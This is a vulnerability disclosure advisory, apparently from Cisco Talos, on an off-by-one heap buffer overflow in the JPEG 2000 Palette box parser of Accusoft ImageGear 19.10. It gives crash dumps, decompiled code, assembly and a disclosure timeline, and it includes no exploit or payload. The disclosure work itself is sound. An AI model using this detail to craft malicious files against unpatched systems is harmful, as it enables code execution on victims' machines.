A heap-based buffer overflow vulnerability exists in the Palette box parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-193 - Off-by-one Error

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted JPEG 2000 file can lead to a heap-based buffer overflow in the Palette box parser, due to a wrongly-sized heap buffer caused by an off-by-one error.

Trying to load a malformed JPEG 2000 file, we end up in the following situation:

    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0adacffc ebx=00000003 ecx=0000000f edx=00000000 esi=0adacfc0 edi=0ace9000
    eip=6ebce13d esp=0019fac0 ebp=0019fae0 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    MSVCR110!memcpy+0x21e:
    6ebce13d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    

Where the destination buffer has the following information:

    0:000> !ext.heap -p -a edi
            address 0af11000 found in
            _DPH_HEAP_ROOT @ 2cb1000
            in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                        d6b0d34:          af10fc0               40 -          af10000             2000
                ? Fuzzme!fuzzme+11f00
            6f08ab40 verifier!AVrfDebugPageHeapAllocate+0x00000240
            7793a65b ntdll!RtlDebugAllocateHeap+0x00000039
            778dff98 ntdll!RtlpAllocateHeap+0x00051808
            7788e5e0 ntdll!RtlpAllocateHeapInternal+0x00001280
            7788d34e ntdll!RtlAllocateHeap+0x0000003e
            6ebcdaff MSVCR110!malloc+0x00000049
            6ebcdba7 MSVCR110!operator new+0x0000001d
            6eda130b igCore19d!IG_mpi_page_set+0x000052db
            6ed656f1 igCore19d!IG_comm_is_comp_exist+0x000036a1
            6ed48aca igCore19d!IG_warning_set+0x000018da
            6e30e16e igJPEG2K19d!CPb_JPEG2K_init+0x000094ae
            6e30fe07 igJPEG2K19d!CPb_JPEG2K_init+0x0000b147
            6e31106c igJPEG2K19d!CPb_JPEG2K_init+0x0000c3ac
            6e3070a6 igJPEG2K19d!CPb_JPEG2K_init+0x000023e6
            6e30711e igJPEG2K19d!CPb_JPEG2K_init+0x0000245e
            6ed713d9 igCore19d!IG_image_savelist_get+0x00000b29
            6edb08d7 igCore19d!IG_mpi_page_set+0x000148a7
            6edb0239 igCore19d!IG_mpi_page_set+0x00014209
            6ed45757 igCore19d!IG_load_file+0x00000047
            00402219 Fuzzme!fuzzme+0x00000019
            00402524 Fuzzme!fuzzme+0x00000324
            0040668d Fuzzme!fuzzme+0x0000448d
            75330419 KERNEL32!BaseThreadInitThunk+0x00000019
            778b72ed ntdll!__RtlUserThreadStart+0x0000002f
            778b72bd ntdll!_RtlUserThreadStart+0x0000001b Instead, the source buffer:
    
    0:000> !ext.heap -p -a esi
            address 0ae4efc0 found in
            _DPH_HEAP_ROOT @ 2cb1000
            in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                        adb1e6c:          ae4ef80               7c -          ae4e000             2000
                ? Fuzzme!fuzzme+11f00
            6f08ab40 verifier!AVrfDebugPageHeapAllocate+0x00000240
            7793a65b ntdll!RtlDebugAllocateHeap+0x00000039
            778dff98 ntdll!RtlpAllocateHeap+0x00051808
            7788e5e0 ntdll!RtlpAllocateHeapInternal+0x00001280
            7788d34e ntdll!RtlAllocateHeap+0x0000003e
            6ebcdaff MSVCR110!malloc+0x00000049
            6ed964de igCore19d!AF_memm_alloc+0x0000001e
            6e30e7ed igJPEG2K19d!CPb_JPEG2K_init+0x00009b2d
            6e30e5eb igJPEG2K19d!CPb_JPEG2K_init+0x0000992b
            6e310e34 igJPEG2K19d!CPb_JPEG2K_init+0x0000c174
            6e3047be igJPEG2K19d+0x000747be
            6e37e2ad igJPEG2K19d!CPb_JPEG2K_init+0x000795ed
    

The information above clearly shows that the destination buffer is smaller than the source one. The access violation takes place during the parsing of the Palette box, in the following function:

    int FUN_73ebe120(HIGDIBINFO *LPHIGDIBINFO,int enumIGColorSpaceIDs,int width,int heigth,
                    int channelCount,AT_INT *channelDepths,IGDIBStd *IGDIBStd,int sizePalette,
                    AT_RESOLUTION *lpResolution,undefined4 lphdib)
    
    {
    int iVar1;
    size_t _Size;
    void *_Dst;
    
    if ((((enumIGColorSpaceIDs != 0) && (0 < width)) && (0 < heigth)) && (0 < channelCount)) {
        iVar1 = DIB_info_create(LPHIGDIBINFO,width,heigth,enumIGColorSpaceIDs,channelCount,channelDepths
                            );
        if (iVar1 == 0) {
        DIB_resolution_set(*LPHIGDIBINFO,lpResolution);
        if ((char)enumIGColorSpaceIDs == '\x03') {
            iVar1 = DIB_palette_alloc(*LPHIGDIBINFO);                                                       [1]
            if (iVar1 != 0) {
            return iVar1;
            }
            _Size = sizePalette << 2;
            _Dst = (void *)DIB_palette_pointer_get(*LPHIGDIBINFO);
            memcpy(_Dst,IGDIBStd,_Size);                                                                    [3]
        }
        iVar1 = (*(code *)PTR_73f8874c)(*LPHIGDIBINFO,lphdib);
        }
        return iVar1;
    }
    return 0;
    }
    

The memory violation takes place in [3], and the allocation of the wrongly-sized buffer takes place in [1] in the function DIB_palette_alloc:

    undefined4 call_IGDIB::DIB_palette_alloc(HIGDIBINFO hDIB)
    
    {
    [...]
    size_buffer_palette = compute_size_palette(*hDIB->bits_depth_table_by_channel);                         [4]
    (*hDIB->igdibstd_vftable->IGDIB::createIGPalette)((IGDIB *)hDIB,size_buffer_palette);
    *in_FS_OFFSET = local_10;
    return 0;
    }
    

The size for the buffer is size_buffer_palette, which is calculated in [4]. The argument of the function called in [4] corresponds to the number of bits required for representing the Palette box’s NE field. The compute_size_palette function is simply:

    int __cdecl compute_size_palette(int bit_required)
    
    {
    if (bit_required < 9) {
        return 1 << ((byte)bit_required & 0x1f);
    }
    return 0;
    }
    

The compute_size_palette function returns, if the argument does not exceed the value 8, the biggest representable value, using bit_required bits, plus one (e.g., for bit_required = 1 the result would be 2; for bit_required = 7 the result would be 128).

This number is later used in [5] to allocate the required space to parse the Palette box:

    undefined ** __thiscall IGPalette::IGPalette(undefined **param_1_00,undefined *size_palette)
    
    {
    undefined *_Dst;
    
    param_1_00[1] = (undefined *)0x0;
    param_1_00[2] = size_palette;
    if ((int)size_palette < 1) {
        param_1_00[1] = (undefined *)0x0;
    }
    else {
        _Dst = (undefined *)operator_new((int)size_palette << 2);                                           [5]
        param_1_00[1] = _Dst;
        if (_Dst != (undefined *)0x0) {
        memset(_Dst,0,(int)param_1_00[2] << 2);
        *param_1_00 = (undefined *)vftable;
        return param_1_00;
        }
    }
    param_1_00[2] = (undefined *)0x0;
    *param_1_00 = (undefined *)vftable;
    return param_1_00;
    }
    

So, the Palette box parser uses the buffer allocated in [5] in the memcpy at [3]. The size of the allocated buffer can be simplified as (1 << bit_required) << 2. The problem resides in the calculation of the bit_required value. An off-by-one calculation exists during the computation of that value. The function that calculates the bit_required value is show here:

    void __cdecl FUN_73ebfbc0(undefined4 *param_1,size_t *LPHIGDIBINFO)
    
    {
    [...]
        iVar3 = 0
        if (0 < iVar2) {
            do {
            if (*(int *)(param_1[0x18] + 4) == 0) {
                NE_field = param_1[0x13];
                bit_required = 0;
                while (NE_field = NE_field >> 1, NE_field != 0) {                                           [6]
                bit_required = bit_required + 1;
                }
                if ((*(char *)(param_1 + 0x16) != '\x03') || (iVar3 != 0)) {
                bit_required = *(int *)(param_1[5] + 4 + iVar3 * 0x20);
                }
            }
            else {
                bit_required = 8;
            }
            channelDepths[iVar3] = bit_required;
            iVar3 = iVar3 + 1;
            } while (iVar3 < iVar2);
        }
    [...]
    }
    

This is the while loop in assembly:

         MOV        ECX,dword ptr [EBX + NE_field]
         XOR        bit_required,bit_required
         SAR        ECX,1                                                                                   [7]
         JZ         LAB_B
    LAB_A
         INC        bit_required
         SAR        ECX,1
         JNZ        LAB_A
    LAB_B
    

In [6]/[7] there is the actual calculation for computing the bits required for representing a value. The problem is that the computation starts with the right shift of one rather than the comparison with zero. This would count one bit less than the required one (e.g., with NE_field = 1(0b...001) the bit_required value would be 0, with NE_field = 0x1f(0b...00011111) the bit_required value would be 4). This leads to an off-by-one that can result in a heap-based buffer overflow in [3] because the calculated size, using the wrongly-calculated bits required, could be smaller than the real required size.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 3218
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 10243
    
        Key  : Analysis.Init.CPU.mSec
        Value: 468
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 11601
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 143
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 166871
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 11
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6ebce13d (MSVCR110!memcpy+0x0000021e)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0af11000
    Attempt to write to address 0af11000
    
    FAULTING_THREAD:  00002848
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0af11000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0af11000
    
    STACK_TEXT:  
    0019fac4 6e30e18a     0af10fc0 0ae4ef80 0000007c MSVCR110!memcpy+0x21e
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019fae0 6e30fe07     0019fb6c 00000003 00000001 igJPEG2K19d!CPb_JPEG2K_init+0x94ca
    0019fb54 6e31106c     0a996f50 0019fb6c 00000000 igJPEG2K19d!CPb_JPEG2K_init+0xb147
    0019fb70 6e3070a6     0a996f50 0ac5ff50 a5d44a84 igJPEG2K19d!CPb_JPEG2K_init+0xc3ac
    0019fb9c 6e30711e     0019fc3c 0ae2afa0 00000000 igJPEG2K19d!CPb_JPEG2K_init+0x23e6
    0019fbb4 6ed713d9     0019fc3c 0ae2afa0 00000001 igJPEG2K19d!CPb_JPEG2K_init+0x245e
    0019fbec 6edb08d7     00000000 0ae2afa0 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6edb0239     00000000 0019ff10 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6ed45757     00000000 0019ff10 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     0019ff10 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     0019ff10 052c7fe0 0522df50 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 05226f68 0522df50 Fuzzme!fuzzme+0x324
    0019ff70 75330419     0027b000 75330400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 778b72ed     0027b000 7d8b826c 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 778b72bd     ffffffff 778d65c2 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 0027b000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  MSVCR110!memcpy+21e
    
    MODULE_NAME: MSVCR110
    
    IMAGE_NAME:  MSVCR110.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_STRING_DEREFERENCE_AVRF_c0000005_MSVCR110.dll!memcpy
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  11.0.50727.1
    
    FAILURE_ID_HASH:  {77975e19-9d4d-daf1-6c0e-6a3a4c334a80}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2021-08-30 - Initial contact  
2021-08-31 - Vendor acknowledged and created support ticket  
2021-09-10 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-01 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Emmanuel Tacheau and Francesco Benvenuto of Cisco Talos.

Tag

#mac